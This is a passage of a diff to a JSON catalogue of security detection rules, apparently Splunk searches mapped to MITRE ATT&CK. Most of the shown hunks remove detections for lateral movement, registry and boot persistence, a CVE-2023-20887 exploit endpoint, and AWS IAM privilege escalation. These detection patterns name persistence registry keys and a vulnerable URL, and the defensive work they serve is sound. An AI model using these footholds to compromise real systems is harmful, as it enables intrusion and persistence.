"observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Remote Code Execution via XLST from $src$ using useragent - $useragent$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1210", - "mitre_attack_technique": "Exploitation of Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "Dragonfly", - "Earth Lusca", - "FIN7", - "Fox Kitten", - "MuddyWater", - "Threat Group-3390", - "Tonto Team", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Active Directory Lateral Movement Identified", - "description": "The following analytic identifies potential lateral movement activities within an organization's Active Directory (AD) environment. It detects this activity by correlating multiple analytics from the Active Directory Lateral Movement analytic story within a specified time frame. This is significant for a SOC as lateral movement is a common tactic used by attackers to expand their access within a network, posing a substantial risk. If confirmed malicious, this activity could allow attackers to escalate privileges, access sensitive information, and persist within the environment, leading to severe security breaches.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories=\"Active Directory Lateral Movement\" All_Risk.risk_object_type=\"system\" by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 4 | `active_directory_lateral_movement_identified_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Activity related to lateral movement has been identified on $risk_object$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1210", - "mitre_attack_technique": "Exploitation of Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "Dragonfly", - "Earth Lusca", - "FIN7", - "Fox Kitten", - "MuddyWater", - "Threat Group-3390", - "Tonto Team", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect Computer Changed with Anonymous Account", - "description": "The following analytic detects changes to computer accounts using an anonymous logon. It leverages Windows Security Event Codes 4742 (Computer Change) and 4624 (Successful Logon) with the TargetUserName set to \"ANONYMOUS LOGON\" and LogonType 3. This activity is significant because anonymous logons should not typically be modifying computer accounts, indicating potential unauthorized access or misconfiguration. If confirmed malicious, this could allow an attacker to alter computer accounts, potentially leading to privilege escalation or persistent access within the network.", - "search": "`wineventlog_security` EventCode=4624 OR EventCode=4742 TargetUserName=\"ANONYMOUS LOGON\" LogonType=3 | stats count values(host) as host, values(TargetDomainName) as Domain, values(user) as user | `detect_computer_changed_with_anonymous_account_filter`", - "tags": { - "analytic_story": [ - "Detect Zerologon Attack" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "EventCode", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "The following $EventCode$ occurred on $dest$ by $user$ with Logon Type 3, which may be indicative of the an account or group being changed by an anonymous account.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1210", - "mitre_attack_technique": "Exploitation of Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "Dragonfly", - "Earth Lusca", - "FIN7", - "Fox Kitten", - "MuddyWater", - "Threat Group-3390", - "Tonto Team", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "VMWare Aria Operations Exploit Attempt", - "description": "The following analytic detects potential exploitation attempts against VMWare vRealize Network Insight, specifically targeting the CVE-2023-20887 vulnerability. It monitors web traffic for HTTP POST requests directed at the vulnerable endpoint \"/saas./resttosaasservlet.\" This detection leverages web traffic data, focusing on specific URL patterns and HTTP methods. Identifying this behavior is crucial for a SOC as it indicates an active exploit attempt. If confirmed malicious, the attacker could execute arbitrary code, leading to unauthorized access, data theft, or further network compromise.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*/saas./resttosaasservlet*\") Web.http_method=POST Web.status IN (\"unknown\", \"200\") by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `vmware_aria_operations_exploit_attempt_filter`", - "tags": { - "analytic_story": [ - "VMware Aria Operations vRealize CVE-2023-20887" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "An exploitation attempt has occurred against $dest$ from $src$ related to CVE-2023-20887", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1210", - "mitre_attack_technique": "Exploitation of Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "Dragonfly", - "Earth Lusca", - "FIN7", - "Fox Kitten", - "MuddyWater", - "Threat Group-3390", - "Tonto Team", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -505515,466 +348438,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Registry Keys Used For Persistence", - "description": "The following analytic identifies modifications to registry keys commonly used for persistence mechanisms. It leverages data from endpoint detection sources like Sysmon or Carbon Black, focusing on specific registry paths known to initiate applications or services during system startup. This activity is significant as unauthorized changes to these keys can indicate attempts to maintain persistence or execute malicious actions upon system boot. If confirmed malicious, this could allow attackers to achieve persistent access, execute arbitrary code, or maintain control over compromised systems, posing a severe threat to system integrity and security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where (Registry.registry_path=*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce OR Registry.registry_path=*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\StartupApproved\\\\Run OR Registry.registry_path= \"*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders\\\\*\" OR Registry.registry_path= \"*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Shell Folders\\\\*\" OR Registry.registry_path=*\\\\currentversion\\\\run* OR Registry.registry_path=*\\\\currentVersion\\\\Windows\\\\Appinit_Dlls* OR Registry.registry_path=*\\\\CurrentVersion\\\\Winlogon\\\\Shell* OR Registry.registry_path=*\\\\CurrentVersion\\\\Winlogon\\\\Notify* OR Registry.registry_path=*\\\\CurrentVersion\\\\Winlogon\\\\Userinit* OR Registry.registry_path=*\\\\CurrentVersion\\\\Winlogon\\\\VmApplet* OR Registry.registry_path=*\\\\currentversion\\\\policies\\\\explorer\\\\run* OR Registry.registry_path=*\\\\currentversion\\\\runservices* OR Registry.registry_path=HKLM\\\\SOFTWARE\\\\Microsoft\\\\Netsh\\\\* OR Registry.registry_path= \"*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Shell Folders\\\\Common Startup\" OR Registry.registry_path= *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\SharedTaskScheduler OR Registry.registry_path= *\\\\Classes\\\\htmlfile\\\\shell\\\\open\\\\command OR (Registry.registry_path=\"*Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options*\" AND Registry.registry_key_name=Debugger) OR (Registry.registry_path=\"*\\\\CurrentControlSet\\\\Control\\\\Lsa\" AND Registry.registry_key_name=\"Security Packages\") OR (Registry.registry_path=\"*\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\OSConfig\" AND Registry.registry_key_name=\"Security Packages\") OR (Registry.registry_path=\"*\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SilentProcessExit\\\\*\") OR (Registry.registry_path=\"*currentVersion\\\\Windows\" AND Registry.registry_key_name=\"Load\") OR (Registry.registry_path=\"*\\\\CurrentVersion\" AND Registry.registry_key_name=\"Svchost\") OR (Registry.registry_path=\"*\\\\CurrentControlSet\\Control\\Session Manager\"AND Registry.registry_key_name=\"BootExecute\") OR (Registry.registry_path=\"*\\\\Software\\\\Run\" AND Registry.registry_key_name=\"auto_update\")) by Registry.dest Registry.user Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.registry_key_name | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `registry_keys_used_for_persistence_filter`", - "tags": { - "analytic_story": [ - "Amadey", - "AsyncRAT", - "Azorult", - "BlackByte Ransomware", - "CISA AA23-347A", - "Chaos Ransomware", - "DHS Report TA18-074A", - "DarkGate Malware", - "Emotet Malware DHS Report TA18-201A", - "IcedID", - "NjRAT", - "Possible Backdoor Activity Associated With MUDCARP Espionage Campaigns", - "Qakbot", - "Ransomware", - "RedLine Stealer", - "Remcos", - "Snake Keylogger", - "Sneaky Active Directory Persistence Tricks", - "Suspicious MSHTA Activity", - "Suspicious Windows Registry Activities", - "Warzone RAT", - "Windows Persistence Techniques", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A registry activity in $registry_path$ related to persistence in host $dest$", - "risk_score": 76, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.001", - "mitre_attack_technique": "Registry Run Keys / Startup Folder", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT39", - "APT41", - "BRONZE BUTLER", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "PROMETHIUM", - "Patchwork", - "Putter Panda", - "RTM", - "Rocke", - "Sidewinder", - "Silence", - "TA2541", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Boot or Logon Autostart Execution In Startup Folder", - "description": "The following analytic detects the creation of files in the Windows %startup% folder, a common persistence technique. It leverages the Endpoint.Filesystem data model to identify file creation events in this specific directory. This activity is significant because adversaries often use the startup folder to ensure their malicious code executes automatically upon system boot or user logon. If confirmed malicious, this could allow attackers to maintain persistence on the host, potentially leading to further system compromise and unauthorized access to sensitive information.", - "search": "|tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_path = \"*\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\*\" by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.user Filesystem.file_path Filesystem.process_guid Filesystem.dest | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_boot_or_logon_autostart_execution_in_startup_folder_filter`", - "tags": { - "analytic_story": [ - "Chaos Ransomware", - "NjRAT", - "RedLine Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a process dropped a file in %startup% folder in $dest$", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.001", - "mitre_attack_technique": "Registry Run Keys / Startup Folder", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT39", - "APT41", - "BRONZE BUTLER", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "PROMETHIUM", - "Patchwork", - "Putter Panda", - "RTM", - "Rocke", - "Sidewinder", - "Silence", - "TA2541", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Registry BootExecute Modification", - "description": "The following analytic detects modifications to the BootExecute registry key, which manages applications and services executed during system boot. It leverages data from the Endpoint.Registry data model, focusing on changes to the registry path \"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\BootExecute\". This activity is significant because unauthorized changes to this key can indicate attempts to achieve persistence, load malicious code, or tamper with the boot process. If confirmed malicious, this could allow an attacker to maintain persistence, execute arbitrary code at boot, or disrupt system operations.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE Registry.registry_path=\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\BootExecute\" BY _time span=1h Registry.dest Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid, Registry.action | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_registry_bootexecute_modification_filter`", - "tags": { - "analytic_story": [ - "Windows BootKits" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "The Registry BootExecute value was modified on $dest$ and should be reviewed immediately.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1542", - "mitre_attack_technique": "Pre-OS Boot", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1547.001", - "mitre_attack_technique": "Registry Run Keys / Startup Folder", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT39", - "APT41", - "BRONZE BUTLER", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "PROMETHIUM", - "Patchwork", - "Putter Panda", - "RTM", - "Rocke", - "Sidewinder", - "Silence", - "TA2541", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Registry Modification for Safe Mode Persistence", - "description": "The following analytic identifies modifications to the SafeBoot registry keys, specifically within the Minimal and Network paths. This detection leverages registry activity logs from endpoint data sources like Sysmon or EDR tools. Monitoring these keys is crucial as adversaries can use them to persist drivers or services in Safe Mode, with Network allowing network connections. If confirmed malicious, this activity could enable attackers to maintain persistence even in Safe Mode, potentially bypassing certain security measures and facilitating further malicious actions.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Endpoint.Registry where Registry.registry_path IN (\"*SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Minimal\\\\*\",\"*SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Network\\\\*\") by _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_value_name Registry.process_guid Registry.registry_key_name Registry.registry_value_data | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_registry_modification_for_safe_mode_persistence_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Drivers", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Safeboot registry $registry_path$ was added or modified with a new value $registry_value_name$ on $dest$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.001", - "mitre_attack_technique": "Registry Run Keys / Startup Folder", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT39", - "APT41", - "BRONZE BUTLER", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "PROMETHIUM", - "Patchwork", - "Putter Panda", - "RTM", - "Rocke", - "Sidewinder", - "Silence", - "TA2541", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -506356,111 +348819,7 @@ "Event ID": null, "Event Name": "Third-party application logs" } - ], - { - "name": "Github Commit Changes In Master", - "description": "The following analytic detects direct commits or pushes to the master or main branch in a GitHub repository. It leverages GitHub logs to identify events where changes are made directly to these critical branches. This activity is significant because direct modifications to the master or main branch bypass the standard review process, potentially introducing unreviewed and harmful changes. If confirmed malicious, this could lead to unauthorized code execution, security vulnerabilities, or compromised project integrity.", - "search": "`github` branches{}.name = main OR branches{}.name = master | stats count min(_time) as firstTime max(_time) as lastTime by commit.commit.author.email commit.author.login commit.commit.message repository.pushed_at commit.commit.committer.date repository.full_name | rename commit.author.login as user, repository.full_name as repository | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `github_commit_changes_in_master_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "GitHub", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "commit.commit.author.email", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious commit by $commit.commit.author.email$ to main branch", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1199", - "mitre_attack_technique": "Trusted Relationship", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "GOLD SOUTHFIELD", - "LAPSUS$", - "POLONIUM", - "Sandworm Team", - "Threat Group-3390", - "menuPass" - ] - } - ] - } - }, - { - "name": "Github Commit In Develop", - "description": "The following analytic detects commits pushed directly to the 'develop' or 'main' branches in a GitHub repository. It leverages GitHub logs, focusing on commit metadata such as author details, commit messages, and timestamps. This activity is significant as direct commits to these branches can bypass the review process, potentially introducing unvetted changes. If confirmed malicious, this could lead to unauthorized code modifications, introducing vulnerabilities or backdoors into the codebase, and compromising the integrity of the development lifecycle.", - "search": "`github` branches{}.name = main OR branches{}.name = develop | stats count min(_time) as firstTime max(_time) as lastTime by commit.author.html_url commit.commit.author.email commit.author.login commit.commit.message repository.pushed_at commit.commit.committer.date | eval phase=\"code\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `github_commit_in_develop_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "GitHub", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "commit.commit.author.email", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious commit by $commit.commit.author.email$ to develop branch", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1199", - "mitre_attack_technique": "Trusted Relationship", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "GOLD SOUTHFIELD", - "LAPSUS$", - "POLONIUM", - "Sandworm Team", - "Threat Group-3390", - "menuPass" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -506785,782 +349144,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" ] - }, - { - "name": "AWS CreateAccessKey", - "description": "The following analytic identifies the creation of AWS IAM access keys by a user for another user, which can indicate privilege escalation. It leverages AWS CloudTrail logs to detect instances where the user creating the access key is different from the user for whom the key is created. This activity is significant because unauthorized access key creation can allow attackers to establish persistence or exfiltrate data via AWS APIs. If confirmed malicious, this could lead to unauthorized access to AWS services, data exfiltration, and long-term persistence in the environment.", - "search": "`cloudtrail` eventName = CreateAccessKey userAgent !=console.amazonaws.com errorCode = success | eval match=if(match(userIdentity.userName,requestParameters.userName),1,0) | search match=0 | stats count min(_time) as firstTime max(_time) as lastTime by requestParameters.userName src eventName eventSource aws_account_id errorCode userAgent eventID awsRegion userIdentity.principalId user_arn | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` |`aws_createaccesskey_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_arn$ is attempting to create access keys for $requestParameters.userName$ from this IP $src$", - "risk_score": 63, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS CreateLoginProfile", - "description": "The following analytic identifies the creation of a login profile for one AWS user by another, followed by a console login from the same source IP. It uses AWS CloudTrail logs to correlate the `CreateLoginProfile` and `ConsoleLogin` events based on the source IP and user identity. This activity is significant as it may indicate privilege escalation, where an attacker creates a new login profile to gain unauthorized access. If confirmed malicious, this could allow the attacker to escalate privileges and maintain persistent access to the AWS environment.", - "search": "`cloudtrail` eventName = CreateLoginProfile | rename requestParameters.userName as new_login_profile | table src_ip eventName new_login_profile userIdentity.userName | join new_login_profile src_ip [| search `cloudtrail` eventName = ConsoleLogin | rename userIdentity.userName as new_login_profile | stats count values(eventName) min(_time) as firstTime max(_time) as lastTime by eventSource aws_account_id errorCode userAgent eventID awsRegion userIdentity.principalId user_arn new_login_profile src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`] | `aws_createloginprofile_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ is attempting to create a login profile for $new_login_profile$ and did a console login from this IP $src_ip$", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS UpdateLoginProfile", - "description": "The following analytic detects an AWS CloudTrail event where a user with permissions updates the login profile of another user. It leverages CloudTrail logs to identify instances where the user making the change is different from the user whose profile is being updated. This activity is significant because it can indicate privilege escalation attempts, where an attacker uses a compromised account to gain higher privileges. If confirmed malicious, this could allow the attacker to escalate their privileges, potentially leading to unauthorized access and control over sensitive resources within the AWS environment.", - "search": " `cloudtrail` eventName = UpdateLoginProfile userAgent !=console.amazonaws.com errorCode = success | eval match=if(match(userIdentity.userName,requestParameters.userName), 1,0) | search match=0 | stats count min(_time) as firstTime max(_time) as lastTime by requestParameters.userName src eventName eventSource aws_account_id errorCode userAgent eventID awsRegion userIdentity.userName user_arn | 